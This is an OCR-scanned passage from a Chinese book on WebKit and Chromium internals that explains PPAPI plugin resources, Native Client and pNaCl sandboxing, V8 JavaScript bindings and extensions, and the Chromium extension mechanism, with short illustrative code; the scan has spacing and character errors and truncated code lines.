调用 插件 的 相应 接口 ， 前 面 说 过 这 些 接 口 是 在 插件 中 实现 并 由 浏览 器 调 
用 的 。 








其 次 来 了 解 资源 的 创建 ， 一 个 插件 实例 可 能 会 用 到 多 个 资源 ， 如 绘 
图 资源 、 文 件 资源 等 ， 示 例 代 码 10-3 所 示 的 OnPaint 函 数 使 用 到 了 2D 绘 
图 资源 。 由 于 它 使 用 了 PaintManager 类 ， 当 需要 更 新 视图 的 时 候 ， 该 类 
需要 创建 一 个 Graphics2D 资 源 对 象 。 











示例 代码 10-3 ”插件 的 实例 类 目 定义 实现 


Class MyInstance : public pp::Instance, public pp::PaintManag 
public: 


MyInstance(PP_Instance instance) { 


} 
virtual bool HandleInputEvent(...) { .. } 


virtual void OnPaint(pp::Graphics2D& graphics _2d, ..) { .. } 


private: 
pp::PaintManager paint_manager_; 


}; 


为 了 详细 说 明 它 的 调用 过 程 ， 图 10-11 和 图 10-12 描 述 了 资源 类 对 象 
的 创建 和 资源 类 对 象 接口 的 调用 过 程 ， 分 别 以 插件 进程 和 Renderer 进 程 
的 交互 为 例 ， 而 插件 进程 和 和 Browser 进 程 的 交互 则 是 类 似 的 情况 。 
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图 10-11 Chromium 创建 PPAP1 播 件 的 资源 对 象 的 过 程 


图 10-11 包 括 两 个 步 又， 第 一 个 步骤 在 插件 进程 中 完成 ， ND 
又 在 Renderer 进 程 中 完成 。 当 PPAPI 插 件 需要 创建 一 个 资 aaa 
候 ， 会 通过 PPAPI 的 C 接 口 调用 Chromium 内 部 的 实现 ，Thunk 层 将 其 转 
换 成 C++ 风格 的 调用 。 在 插件 进程 中 ， 会 有 一 个 工 三 类 来 创建 不 同类 型 
的 资源 对 象 。 本 例 中 Graphics2DResource 对 象 在 创建 的 同时 会 发 送 一 个 
消息 到 Renderer 进 程 ， 这 就 是 第 二 步骤 。Renderer 进 程 同 样 包含 一 个 能 
够 创建 不 同类 型 ResourceHost 对 象 的 工厂 类 ， 以 帮助 完成 资源 对 象 的 创 
je 
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图 10-12 描 述 了 当 资 源 对 象 创 建 完 之 后 ， 插 件 需 要 调用 资源 对 象 的 
接口 来 完成 特定 的 操作 ， 这 一 过 程 可 以 包含 三 个 步骤 ， 其 上 友 生 在 两 个 进 
程 中 ， 图 中 已 有 完整 描述 。 首 先 ， 当 然 还 是 插件 进程 接收 到 插件 的 调用 
请 求 ， 并 把 请 求 发 送 给 Renderer 进 程 。 其 次 是 Renderer 进 程 接收 啊 应 ， 














然后 执行 特定 的 操作 ， 并 将 结果 值 返回 或 者 通知 插件 进程 该 动作 执行 完 
成 。 最 后 是 插件 进程 接收 到 返回 值 或 者 动作 执行 完 的 消息 ， 如 果 需 要 ， 
它 还 可 以 调用 插件 的 函数 来 通知 插件 。 当 然 ， 某 些 调用 不 需要 从 
Renderer 进 程 返回 结果 到 插件 进程 ， 所 以 前 两 步 是 必需 的 ， 但 是 第 三 步 
却 是 可 选 的 。 


10.2.4 Native Client 


10.2.4.1 基本 原理 


NativeClient， 也 简称 为 NaCl， 是 一 种 沙 箱 技术 ， 它 能 够 提供 给 平 
台 无 关 的 不 受信 本 地 代码 一 个 安全 的 运行 环境 ， 可 以 针对 那些 计算 密集 
型 的 需求 ， 例 如 游戏 引 警 、 可 视 化 计算 、 大 数据 分 析 、3D 图 形 演 染 
等 ， 这 些 场合 只 需要 访问 有 限 的 一 些 本 地 接口 ， 不 需要 通过 网 络 服务 来 
计算 ， 以 免 占用 额外 的 带宽 资源 。 同 时 ， 它 能 够 比较 方便 地 将 原来 使 用 
传统 语言 例如 C++ 编写 的 库 直 接 移植 到 Web 平 台中 。 它 同 WebGL、 
WebAudio 这 样 的 技术 所 解决 的 问题 相似 ， 但 是 途径 不 同 ， 因 为 这 些 技 
术 是 规范 〈 或 者 草案 ) ， 而 NativeClient 技 术 是 Google 提 出 的 。 使 用 
NativeClient 能 够 将 很 多 本 地 库 的 能 力 轻易 地 提供 给 网 页 使 用 ， 而 不 需要 
复杂 的 移植 过 程 ， 给 重用 带 来 很 大 的 方便 。 




















本 喘 PPAPI 和 NativeClient 没 有 必然 联系 ， 两 者 解决 的 是 不 同方 面 的 
问题 : PPAPI 提 供 插 件 机 制 ， NativeClient 使 用 PPAPI 的 插件 机 制 将 使 用 
NativeClient 技 术 编 译 出 来 的 本 地 库 运 行 同 浏览 器 交互 起 来 。 只 是 目前 
NativeClient 是 基于 PPAPI 接 口 来 实现 的 ， 其 实 之 前 NativeClient 也 曾经 基 
于 NPAPI 接 口 来 实现 ， 所 以 能 够 在 Firefox、Safari 和 Opera 浏 览 器 中 运行 





因为 NativeClient 使 用 PPAPI 来 提供 一 个 安全 的 运行 环境 ， 本 喘 它 也 
ass 图 10-13 就 是 Chrome 浏 览 器 中 一 个 PPAPI 插 件 一 一 
NativeClient。 同 其 他 的 PPAPI 插 件 不 一 样 ， 它 是 一 个 在 Renderer 进 程 中 

行 的 插件 ， ae 文 个 插件 显然 是 受信 的 ， 如 图 中 的 “Type: PPAPI(in- 


ay 2 


Native Client 
Name: Native Client 
Version: 
Location: /home/ _/chrome/upstream-working/src/out/Debug/libppGoogleNaClPluginChrome.so 
Type: PPAPI (in-process) 


Disable 

MIME types: MIME type Description File extensions 
application/x-nacl Native Client Executable š 
application/x-pnacl Portable Native Client Executable . 
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所 以 ， 如 果 需 要 在 网 页 加 入 代码 <embed id="plugin" 
type="application/x-nacl"> 表 明 使 用 了 NaCl 技 术 ， 对 于 WebKit 而 言 ， 它 就 
是 调用 一 个 插件 (不 知 是 什么 类 型 的 插件 ) ， 对 于 PPAPI 技 术 而 言 ， 它 
就 是 调用 了 内 藤 的 NaCl PPAPI 插 件 。 因 为 NaCl 还 需要 调用 开发 者 的 本 地 
库 ， 所 以 它 还 需要 跟 本 地 库 来 交互 ， 下 面 来 介绍 PPAPI 插 件 之 后 的 技 
AK « 


NaCl 本 质 上 是 一 个 运行 环境 ， 该 子 系统 提供 了 很 少 的 一 些 受 限 系统 
调用 接口 和 资源 的 抽象 ， 本 地 库 只 能 调用 它们 ， 而 不 能 任意 使 用 系统 调 
FA. 与 沙 箱 模 型 的 不 同 在 于 ，NaCl 是 将 一 个 第 三 方 开 发 的 代码 库 运 行 在 
受 限 的 环境 中 ， 而 沙 箱 模 型 是 将 一 个 进程 运行 在 受 限 环境 中 。NaCl 提 供 
编译 工具 ， 将 使 用 C/C++ 代码 编写 的 代码 编译 生成 它 能 运行 的 可 执行 格 
式 一 一 nexe。 本 地 代码 调用 的 也 都 是 本 地 接口 ， 同 JavaScript 的 交互 都 由 
NaCl 机 制 和 PPAPI 机 制 来 完成 。 








为 了 直观 理解 NaCl 机 制 ， 用 图 10-14 摘 述 了 它 的 架构 图 ， 该 图 参考 
Chromium 官 方 网 站 的 示意 图 ， 为 进行 了 一 些 删 减 和 修改 。 
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图 10-14 使 用 PPAP1 技 术 的 NaC1 机 制 


首先 研究 一 下 Renderer 进 程 ， 如 果 没 有 后 面 的 部 分 ，NaCl 插 件 和 其 
他 PPAPI 插 件 没 有 什么 特别 的 差别 ， 同 样 通过 PPAPI 跟 泻 染 引 擎 进行 通 
信 。 但 是 这 里 NaCl 插 件 只 是 一 个 桥接 工作 ， 它 将 同 浏览 右 〈( 也 可 以 说 泻 
染 引 擎 ) 的 交互 交接 到 使 用 NaCl 技 术 的 本 地 可 执行 库 “nexe”。 


然后 ，Chromium 会 创建 一 个 新 的 进程 ， 该 进程 使 用 了 沙 箱 技 术 ， 
只 能 访问 特定 的 系统 接口 ， 这 样 限定 了 该 进程 中 的 任何 库 都 不 能 超越 它 
们 。 在 Renderer 进 程 中 的 NaCl 插 件 使 用 消 轧 传递 机 制 同 sel_ldr 进 程 通 
信 。 在 消息 机 制 之 上 是 一 种 称 为 SPRC〔 简 单 的 进程 远程 调用 技术 )， 
该 机 制 可 以 实现 PPAPI 的 跨 进 程 调 用 。 不 过 目前 插件 同 NaCl 的 实现 之 间 


的 通信 机 制 SRPC 已 经 不 文 持 ， 都 是 通过 一 个 新 的 接口 PostMessage 来 实 
现 的 ， 该 接口 意味 着 都 是 通过 消息 机 制 来 进行 的 。 





最 后 ，sel_ldr 提 供 的 环境 能 够 运行 nexe， 从 图 10-14 中 可 以 看 出 ， 
nexe 是 不 受信 的 部 分 ， 但 是 没关系 ， 该 机 制 可 以 用 一 个 沙 箱 来 将 它 运 行 
在 限定 的 sel_ldr 进 程 中 ，nexe 没 有 办 法 使 用 NaCl 提 供 的 接口 之 外 的 系统 
接口 ， 从 而 保证 了 安全 。nexe 是 本 地 代码 库 ， 所 以 跟 平台 相关 ， 例 如 对 
于 32 位 和 64 位 系统 ， 需 要 两 份 不 同 的 代码 库 ， 这 同时 也 造成 了 库 的 元 
余 ， 有 没有 什么 好 的 办 法 能 够 解决 这 个 问题 呢 ? 在 最 近 的 版 本 中 ， 
Google 的 工程 师 开 始 将 LLVM 技 术 引 入 到 NaCl 机 制 中 ， 这 就 是 pNaCl 技 
AK « 











10.2.4.2 pNaCl 


nexe 需 要 不 同 的 版 本 ， 一 个 关键 的 问题 在 于 NaCl 提 供 的 编译 工具 只 
能 将 NaCl 的 实现 直接 编译 成 同人 硬件 架构 相关 的 本 地 代码 ， 所 以 不 同 的 平 
台 需 要 生成 不 同 的 本 地 库 。pNaCl 提 供 了 一 套 新 的 工具 ， 该 工具 能 够 将 
C/C++ 代码 编译 成 LLVM 字 节 人 码 ， 读 者 回忆 一 下 图 9-27 中 关于 LLVM 的 
基本 结构 ，LLVM 能 够 将 C/C++ 代码 转 成 字 节 人 码 ， 该 字 节 人 码 是 平台 无 关 
的 ， 而 且 该 字 节 人 码 可 以 保存 起 来 ， 当 字 市 码 在 茶 个 平台 上 运行 的 时 候 ， 
LLVM 的 后 端 能 够 根据 字 节 人 码 生 成 特定 平台 的 本 地 代码 。 














回 到 pNaCl 上 来 ， 使 用 了 LLVM 技 术 很 明显 地 能 够 融 来 减少 库 的 元 
余 性 的 好 处 ， 这 样 nexe 束 可 以 变 成 pexe (portable exe) 。 对 于 如 何 使 用 
pNaCl， 这 里 不 再 介绍 ， 官 方 网 站 上 有 非常 详细 的 介绍 ， 感 兴趣 的 读者 
请 查阅 下 面 的 网 页 : 


http://www.chromium.org/nativeclient/pnacl/developing-pnacl. 
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10.3.1 混合 编程 


混合 编程 由 来 已 入 ， 因 为 浏览 器 能 力 的 不 足 ， 特 别 是 以 前 的 浏览 器 
甚至 不 文 持 内 从 视频 和 音频 等 技术 ， 所 以 导致 需要 Flash 等 插件 来 扩展 网 
页 的 能 力 。 当 然 Flash 插 件 是 由 第 三 方 提 供 的 ， 大 家 都 可 以 使 用 。 还 有 一 
种 使 用 场景 ， 那 就 是 网 页 的 开发 者 在 使 用 HTML/JS/CSS 开 发 网 页 的 时 
候 ， 发 现 能 力 不 足 ， 希 望 使 用 传统 语言 例如 C/C++ 来 开发 一 些 库 ， 这 些 
库 可 以 被 网 页 调用 ， 这 样 来 满足 应 用 的 要 求 ， 这 里 称 之 为 混合 编程 。 


从 上 面 的 介绍 可 以 看 出 ，NPAPI 和 PPAPI 也 能 够 提供 混合 编程 的 能 
力 ， 也 就 是 说 ， 开 发 者 能 够 将 一 些 本 地 代码 提供 的 能 力 提 供给 Web 开 发 
者 ， 示 例 代 码 10-4 描 述 了 使 用 PPAPI 技 术 的 混合 编程 。 


示例 代码 10-4 ”使 用 插件 机 制 来 扩展 JavaScript 的 功能 


<script> 
var exam = null; 
window.onload = function() { 
exam = document.getElementById("example"); 
exam.addEventListener('message', handleMessage, false); 
} 
function handleMessage(message) { 


. // handle results here 


} 
function function1() { 
if (exam) exam.postMessage("function1i"); 
} 
function function2() { 
if (exam) exam.postMessage("function2"); 
} 
</script> 


<embed id="example" type="application/x-example"/> 


class MyInstance : public pp::Instance { 
public: 


virtual bool HandleMessage(const pp::Var& var_message) { 


if (var_message == "functioni") { 
} else if (var_message == "function2") { 
} 

+ hy 


从 上 面 实例 中 可 以 看 到 它们 的 工作 方式 ， 两 个 JavaScript 函 
数 “function1” 和 “function2” 可 以 被 调用 ， 这 两 个 函数 的 实现 通过 C++ 代 
人 码 来 完成 ， 因 为 PPAPI 和 NPAPI 插 件 能 够 调用 任何 系统 接口 ， 所 以 开发 
者 甚至 能 够 将 任何 能 力 提供 给 JavaScript 代 码 调用 。 


从 某 种 程度 来 说 ， 使 用 插件 机 制 来 扩展 JavaScript 接 口 有 个 明显 的 缺 
陷 ， 就 是 需要 在 DOM 树 中 加 入 一 个 “embed” 节 点 ， 而 且 需 要 提前 完成 插 





件 的 加 载 和 初始 化 (这 在 上 面 的 示例 代码 中 没有 很 好 地 体现 ) 。 但 是 从 
技术 上 来 讲 ， 开 发 者 可 以 通过 插件 机 制 在 JavaScript 引 擎 中 注入 一 些 
JavaScript 对 象 和 方法 ， 使 得 这 些 JavaScript 对 象 和 方法 能 够 调用 本 地 代 
码 才 能 提供 的 能 力 ， 这 的 确 是 一 种 不 错 的 扩展 JavaScript 引 擎 方式 。 


10.3.2 JavaScript} EWL 


下 面 看 看 V8 引 敬 和 JavaScriptCore 引 擎 是 如 何 提供 机 制 来 扩展 
JavaScript 引 苟 的 能 力 ， 也 就 是 如 何 使 用 本 地 代码 来 扩充 引擎 中 的 对 象 和 
函数 。V8 提 供 了 两 种 方式 ， 第 一 种 是 JavaScript 绑 定 ， 第 二 种 是 V8 的 
Extension 机 制 ， 而 JavaScriptCore 提 供 了 JavaScript 绑 定 。 


10.3.2.1 JavaScript} € 


WebKit 中 使 用 IDL 来 定义 JavaScript 接 口 (对 象 和 方法 ) » (HREM 
稍微 不 同 于 IDL 的 标准 ， 对 它 作 了 一 些 改变 ， 以 适应 WebKit 的 需要 。 如 
果 开 发 者 需要 定义 新 的 接口 ， 那 么 需要 完成 以 下 一 些 步 又 。 


首先 ， 当 然 需 要 定义 新 的 接口 文件 ， 示 例 代 码 10-5 是 一 个 简单 的 
IDL 文 件 ， 它 定义 一 个 新 的 接口 ， 该 接口 名 为 MyObj， 它 包含 一 个 属性 
和 一 个 函数 ， 该 接口 属于 模块 <mymodule”。 根 据 这 里 的 定义 ， 如 果 开 发 
者 需要 在 JavaScript 代 码 使 用 它们 ， 方 式 
是 “mymodule.MyObj.myAttr”* 和 “mymodule.MyObj.myMethod()”， 看 起 来 
非常 直观 和 容易 理解 。 





示例 代码 10-5 一 个 简单 的 IDL 文 件 


module mymodule { 
interface [ 
InterfaceName=MyObject 
] MyObj { 
readonly attribute long myAttr; 
DOMString myMethod(DOMString myArg); 
}; 
} 








当 开 发 者 完成 接口 的 定义 之 后 ， 需 要 生成 JavaScript 引 擎 押 需 的 绑 定 
文件 ， 该 文件 其 实 是 按照 引擎 定义 的 标准 接口 为 基础 ， 来 实现 具体 的 接 
口 关 ，WebKit 提 供 了 工具 能 够 帮助 开发 者 自动 生成 所 需要 的 绑 定 类 ， 根 
据 引 擎 的 不 同和 引擎 开发 语言 的 不 同 ， 可 能 有 不 同 的 结果 ， 主 要 包括 为 
JavaScriptCore 和 V8 生 成 的 绑 定 文件 ， 以 V8 引 擎 为 例 ， 使 用 下 面 的 命令 
就 能 够 为 该 IDL 文 件 生成 结果 。 








perl generate-bindings.pl MyObj.pl --generator=V8 --outputDir 


它 会 生成 两 个 绑 定 文件 V8MyObj.h 和 V8MyObj.cpp， 这 些 绑 定 文 件 
就 是 将 JavaScript 引 擎 的 调用 转 成 具体 的 实现 类 的 调用 ， 示 例 代 码 10-6 整 
是 V8MyObj.cpp 文 件 中 的 一 个 部 分 节选 ， 主 要 是 一 个 属性 和 方法 的 
C++ 代码 转 接 代码 。 


在 V8MyObj.cpp 中 ， 还 需要 很 多 其 他 桥接 的 代码 ， 它 们 都 是 辅助 注 
册 桥 接 的 函数 到 V8 引 警 的 。 有 具体 的 做 法 是 将 示例 代码 10-6 中 的 两 个 函数 
和 它们 的 信息 ， 放 入 一 个 下 面 的 数组 中 。 


{"myAttr", MyObjV8Internal: :myAttrAttrGetter,0,0 /* no data * 


之 后 将 通过 V8 的 注册 函数 
V8DOMConfiguration::configureTemplate， 将 这 些 信息 注册 到 引擎 中 
去 ， 有 兴趣 的 读者 可 以 自行 根据 上 面 的 命令 来 生成 该 文件 并 理解 这 些 辅 
助 代码 。 


示例 代码 10-6 ”为 V8 引 擎 生成 的 绑 定 函数 


static v8::Handle<v8::Value> myAttrAttrGetter(v8::Local<v8::S 
{ 

INC_STATS("DOM.MyObj .myAttr._get"); 

MyObj* imp = V8MyObj::toNative(info.Holder()); 

return v8Integer(imp->myAttr(), info.GetIsolate()); 
} 
static v8: :Handle<v8: :Value> myMethodCallback(const v8::Argum 
{ 

INC_STATS("DOM.MyObj .myMethod") ; 

if (args.Length() < 1) 

return throwNotEnoughArgumentsError(args.GetIsolate() 

MyObj* imp = V8MyObj::toNative(args.Holder()); 

EXCEPTION _BLOCK(g*, myArg, V8g::HasInstance(MAYBE_MISSING 
(args, 0, DefaultIsUndefined)) ? V8g::toNative(v8: :Handle<vs8: 
Cast (MAYBE_MISSING_PARAMETER(args, ©, DefaultIsUndefined) ) ) 


return v8String(imp->myMethod(myArg), args.GetIsolate()); 





绑 定 文件 当然 需要 调用 开发 者 具体 实现 部 分 的 代码 。 根 据 规 则 ， 本 
例 需 要 包含 开 友 者 实现 的 MyObj.h 文 件 和 MyObj 类 ， 示 例 代 码 10-7 束 是 
所 要 实现 的 类 ， 开 发 者 只 需要 将 两 个 函数 实现 即 可 被 JavaScript 引 擎 所 调 








用 。 


示例 代码 10-7 MyObj 的 实际 实现 类 一 MyObj.h 





Class MyObj { 
public: 


v8::Handle<v8::Value> myAttr() { 


v8:: Handle<v8::Value> myMethod(const v8::Arguments& args 


}; 


JavaScript 绑 定 机 制 的 一 个 问题 就 是 它 需 要 和 JavaScriptCore 引 擎 或 
者 是 V8 引 擎 一 起 编译 ， 也 就 是 说 这 些 本 地 文件 同 引擎 源 代 码 一 起 编译 
生成 本 地 代码 ， 而 不 能 在 引擎 执行 之 后 动态 地 注入 这 些 本 地 代码 ， 这 限 
制 了 它 的 使 用 场景 ， 因 为 Web 开 发 者 需要 能 够 在 引擎 中 动态 注入 本 地 代 
码 来 提供 一 些 新 对 象 和 函数 ， 以 被 JavaScript 代 码 直 接 调用 。 








10.3.2.2 V8 扩展 


除了 JavaScript 绑 定 机 制 之 外 ，V8 引 擎 另外 又 提供 一 种 能 够 动态 扩 
展 的 机 制 ， 它 无 须 跟 V8 引擎 一 起 编译 ， 因 而 有 很 大 的 灵活 性 。 








它 的 基本 原理 是 提供 一 个 基 类 “Extension” 和 一 个 全 局 的 注册 函数 ， 
对 于 想 扩 展 JavaScript 接 口 的 开发 者 而 言 ， 只 需要 两 个 步骤 即 可 以 完成 扩 
展 JavaScript 能 力 ， 如 示例 代码 10-8 所 摘 述 的 过 程 。 


示例 代码 10-8 ”使 用 V8 的 extension 来 注入 新 函数 


class MYExtension : public v8::Extension { 
public: 
MYExtension() : v8::Extension("v8/My", "native function my( 
virtual v8::Handle<v8::FunctionTemplate> GetNativeFunction( 
v8::Handle<v8::String> name) { 
// 可 以 根据 name 来 返回 不 同 的 函数 
return v8::FunctionTemplate: :New(MYExtension: :MY); 
} 
static v8::Handle<v8::Value> MY(const v8::Arguments& args) 
// Do sth here 
return v8::Undefined(); 
} 
}; 
MYExtension extension; 


RegisterExtension(&extension) ; 


第 一 个 步骤 是 基于 Extension 基 类 构建 一 个 它 的 子 类 ， 并 实现 它 的 重 
要 虚 函 数 ， 那 承 是 GetNativeFunction， 根 据 参 数 name 来 决定 返回 实现 函 
数 。 第 二 个 步骤 就 是 创建 一 个 该 子 类 的 对 象 ， 并 通过 注册 函数 将 该 对 象 
注册 到 V8 引擎 ， 这 样 当 JavaScript 调 用 “my” 函 数 的 时 候 就 能 够 找到 并 执 
行 啊 应 的 函数 。 


从 示例 代码 10-8 可 以 看 出 ， 它 只 是 调用 V8 的 接口 来 注入 新 函数 ， 所 
以 这 是 一 种 动态 扩展 机 制 ， 非 常 的 方便 ， 但 是 缺点 是 ， 理 论 上 性 能 可 能 
没有 JavaScript 绑 定 机 制 高 效 ， 因 而 只 是 在 一 些 对 性 能 要 求 不 高 的 应 用 场 
景 才 会 被 使 用 到 。 


10.4 Chromium? HL 
10.4.1 原理 


Chromium 的 扩展 〈Extension) 机 制 © 原先 是 Chromium 推 出 的 一 项 
技术 ， 该 机 制 能 够 扩展 浏览 器 的 能 力 ， 例 如 笔者 使 用 的 一 个 扩展 实例 名 
为 “switchy proxy”， 它 可 以 帮助 用 户 方便 的 切换 Chromium 浏 览 器 代理 ， 
但 是 也 仅 此 而 已 。 本 质 上 ， 它 其 实 束 是 浏览 器 能 力 的 简 蛙 扩展 ， 而 对 于 
一 些 本 地 的 功能 ， 如 书签 、USB、 赣 牙 、 电 源 管 理 等 ， 该 机 制 并 没有 这 
方面 的 能 


一 个 Chromium Extension 的 实例 其 实 束 是 一 个 网 页 加 上 JavaScript 代 
码 和 CSS 样 式 人 代码。 当然， 在 Extension 中 ， 开 发 者 也 可 以 使 用 NPAPI 插 
件 和 PPAPI 及 NaCl 机 制 技术 来 扩展 网 页 能 力 ， 所 以 它 同 这 些 技术 没有 冲 
突 ， 相 反 ，Chromium ”Extension 机 制 可 能 需要 这 些 技 术 以 实现 特定 功 


AB 
HE o 





YK, Chromium Extension 机 制 的 目标 远 不 止 这 么 简单 ， 扩 展 浏览 
器 功能 的 Extension 只 是 其 中 一 个 很 小 的 功能 。 随 着 该 机 制 的 不 断 发 展 ， 
Extension 机 制 已 经 被 用 来 文 持 Web 应 用 程序 ， 也 就 是 使 用 HTML5、 
JavaScript、CSS 等 技术 来 开发 应 用 程序 ， 该 应 用 程序 可 以 使 用 
Chromium 浏 览 嚣 来 运行 ， 而 用 户 获 得 的 体验 同 本 地 应 用 程序 非常 接 
近 ， 听 起 来 非常 吸引 人 吧 。Chromium 打 造 了 一 个 依赖 于 Web 的 运行 平 
台 ， 使 用 扩展 机 制 的 网 页 已 经 可 以 简单 称 之 为 Web 应 用 。 如 有 果 读 者 认为 
功能 还 不 够 ， 也 可 以 将 其 理解 为 初级 阶段 ， 但 是 它 实 实在 在 将 网 页 扩展 











到 Web 应 用 的 范畴 。 在 Google 的 Web Store © 中 ， 读 者 可 以 发 现 两 个 类 
别 ， 包 括 传统 的 Extension 和 Web 应 用 。 从 用 户 的 角度 看 ， 普 通 扩 展 和 
Web 应 用 的 区 别 在 于 普通 插件 只 是 Extension 在 当前 窗口 运行 (当然 也 不 
是 绝对 的 ， 但 是 工作 机 制 与 Web 应 用 的 确 不 一 样 )， 而 Web 应 用 是 一 个 
独立 的 窗口 。 








图 10-15 是 Chrome 浏 览 器 中 己 经 安装 的 Extensions (Google Docs) 和 
Web 应 用 (Cut the Rope) ， 读 者 可 以 通过 在 地 址 栏 输 
入 “chrome://extensions/” 来 查看 它们 。 
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图 10-15 Chromium 浏览 器 中 已 安装 的 Extensions 和 Web 应 用 


在 目前 的 Chromium 项 目 中 ， 对 于 Web 应 用 ，Chromium 根 据 特性 将 
其 分 成 两 类 ， 第 一 种 叫做 Host App， 另 外 一 种 叫做 Packaged App。 前 面 
一 种 表示 将 网 络 上 的 资源 直接 变 成 一 个 Web 应用， 所 以 它 需 要 使 用 外 部 
的 资源 才能 够 工作 ， 而 对 于 后 一 种 ， 该 Web 应 用 所 需要 的 文件 和 资源 都 
包含 在 该 应 用 中 ， 而 不 需要 外 部 的 资源 ， 所 以 对 于 那些 离线 应 用 特别 有 


用 ， 这 让 使 用 者 感觉 更 像 本 地 应 用 。 关 于 W3C 和 Chromium 的 Web 应 用 
详细 情况 ， 我 们 将 在 第 15 章 重点 讲解 ， 这 里 只 是 一 个 简单 的 介绍 。 





因为 目前 的 网 页 只 是 由 HTML5、JavaScript 和 CSS 等 文件 组 成 ， 所 
以 还 需要 其 他 辅助 功能 才能 形成 一 个 Chromium 的 扩展 实例 。Chromium 
的 Extension 机 制 使 用 一 个 清单 文件 (manifest.json) 来 描述 Extensions 所 
需要 的 文件 和 资源 等 ， 这 样 使 得 它 看 起 来 更 像 一 个 应 用 程序 ， 因 为 现在 
很 多 应 用 程序 都 是 使 用 该 种 方式 ， 例 如 Android 平 台 上 的 
AndroidManifest.xml， 或 者 W3C 为 Web 应 用 定义 的 Widget 方 式 ， 示 例 代 
码 10-9 是 一 个 简单 的 清单 文件 实例 。 





熟悉 JavaScript 语 言 的 开发 者 可 以 发 现 ， 它 其 实 是 一 个 JSON 格 式 的 
文件 ， 里 面 的 属性 名 也 非常 的 直观 ， 例 如 Extension 的 名 字 、 版 本 号 、 应 
用 图 标 等 。 值 得 注意 的 是 ， 它 包含 了 一 个 属性 “permissions”， 该 属性 设 
置 了 该 Web 应 用 能 够 访问 哪些 功能 ， 例 如 “plugins” 表 明 该 Extension 能 够 
使 用 NPAPI 插 件 ，“notification” 表 示 可 以 从 该 Extension 发 出 通知 ， 这 也 
同 移动 平台 上 的 本 地 应 用 有 类 似 的 地 方 。 








示例 代码 10-9” Chromium Extension 的 清单 文件 (manifest.json) 


{ 
"name": "An Extension", 
"description": "Just an example", 
"version": "1", 
"app": { 
"launch": { 


"web_url": "http://blog.csdn.net/milado_nju/" 


ty 

"icons": { 
"128": "icon_128.png" 

ty 

"permissions": [ 
"notifications", 
"plugins", 
"management" 


] 


其 实 ， 上 面 提供 的 这 些 权限 所 使 用 的 功能 ， 有 些 在 HTML5 中 并 没 
有 被 定义 ， 例 如 “management”， 但 是 Chromium 的 这 些 Extension 实 例 能 
够 使 用 它们 ， 原 因 在 于 Chromium 提 供 了 一 些 JavaScript 接 口 ， 这 束 是 车 
名 的 “chrome.*” 应 用 程序 编程 接口 。 本 质 上 ， 它 们 是 一 系列 的 JavaScript 
接口 ， 包 括 标 签 、 管 理 、 历 史记 录 、USB 等 ， 功 能 还 是 非常 的 丰富 。 当 
Chromium 的 Extension 实 例 需要 使 用 这 些 接口 的 时 候 ， 必 须 在 该 清单 文 
件 中 申明 它们 ， 人 否则 Chromiunm 会 拒绝 它们 的 请 求 。 





对 于 Chromium 的 Extension 实 例 和 Web 应 用 ， 它 们 会 共享 一 些 接 
口 ， 但 是 两 者 还 会 提供 不 同 的 接口 ， 这 是 由 于 各 目的 目的 不 同 。 对 于 传 
统 的 Extension 实 例 而 言 ， 这 里 面包 
“alarms”, “bookmarks”, “cookies” 和 “runtime” 等 。 而 对 于 Web 应 用 而 
言 ， 它 们 可 以 使 
用 “app.runtime”、 “app.window”、“bluetooth” 和 “runtime” 等 。 这 些 接口 也 
是 对 JavaScript 能 力 的 一 种 扩展 ， 不 同 于 NPAPI 和 PPAPI 使 用 的 扩展 机 
制 ，“chrome.*” 接 口 使 用 一 种 新 的 机 制 来 处 理 多 进程 之 间 的 通信 ， 这 依 
然 是 消息 传递 机 制 。 











10.4.2 基本 设施 


针对 Chromium 的 Extension 机 制 ， 主 要 是 解决 两 个 大 方面 的 问题 ， 
第 一 是 Extension 实 例 的 管理 工作 ， 包 括 安装 、 更 新 、 删 除 等 ， 第 二 是 
Extension 实 例 是 如 何 运 行 的 。 对 于 第 一 个 问题 ， 相 关 的 过 程 比较 复杂 ， 
这 里 不 便 介 绍 。 笔 者 主要 介绍 第 二 个 问题 ， 包 括 Extension 运 行 时 需要 涉 
及 到 的 基础 设施 ， 它 同 本 章 的 重点 JavaScript 扩 展 密 切 相 关 ， 由 于 
Extension 运 行 时 需要 调用 “chrome.*” 接 口 ， 我 们 必须 了 解 这 些 接口 是 如 
何 被 扩展 和 实现 的 。 


从 基本 过 程 上 来 看 ， 简 单 地 讲 应 该 是 Chromium 的 Extension 机 制 在 
V8 引擎 中 注入 一 些 代 码 ， 然 后 当 JavaScript 代 码 调 用 这 些 接口 的 时 候 ， 
V8 引 擎 调用 注入 的 本 地 代码 ， 这 些 代 码 会 将 调用 接口 的 请 求 从 Renderer 
进程 发 送 给 Browser 进 程 。 在 Browser 进 程 中 ， 接 收 这 些 请 求 并 派发 给 相 
应 的 实现 类 ， 请 求 完 成 后 按 需 要 返回 调用 结果 。 





首先 来 看 Renderer 进 程 ， 图 10-16 是 运行 Extension 实 例 时 所 使 用 的 一 
些 主要 类 ， 人 简单 介绍 如 下 。 
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-v8::Context v8_context_ <> -native_handler_map_ 一 Tn +Newlnstance() 


-module_system_ +RegisterNativeHandler() 
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图 10-16 Renderer 进 程 中 Extension 运 行 时 所 需 的 类 























ChromeV8Context : 对 V8 引擎 上 下 文 对 象 的 一 个 简单 封装 ， 帮 助 
注入 代码 和 拥有 Extension 实 例 的 本 地 实现 函数 列表 。 

ModuleSystem : 管理 所 有 注册 的 “chrome.*” 接 口 ， 当 然 接口 的 有 具 
体 实 现在 Browser 进 程 中 【〈 读 者 考虑 一 下 为 什么 呢 ) ， 这 里 主要 是 
注册 回调 的 函数 ， 这 些 回调 函数 会 将 对 接口 的 调用 发 送 请 求 给 
Browser 进 程 的 具体 实现 类 。 
NativeHandler，ObjectBackedNativeHandler， 

ChromeV8Extension : 接口 类 (继承 关系 ) ， 用 于 表示 
个 “chrome.*” 的 接口 ， 至 于 为 什么 有 几 层 继承 是 因为 需求 ， 同 时 需 
要 注入 管理 的 回调 函数 。 

Dispatcher : 该 类 负责 同 Renderer 进 程 创建 过 程 交 互 ， 也 就 是 说 它 
知道 什么 时 候 该 注入 这 些 回调 函数 。 

EventBindings : 实现 chrome.events 接 口 的 辅助 类 ， 它 会 定义 一 个 
ChromeV8Extension 的 子 类 。 








下 面 是 Browser 进 程 的 相关 类 ， 如 图 10-17 所 示 ， 相 对 比较 简单 一 
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图 10-17 Browser 进 程 中 Extension 运 行 时 所 需 的 类 


























ExtensionHost : 负责 处 理 请 求 的 消息 ， 并 回复 请 求 结果 。 
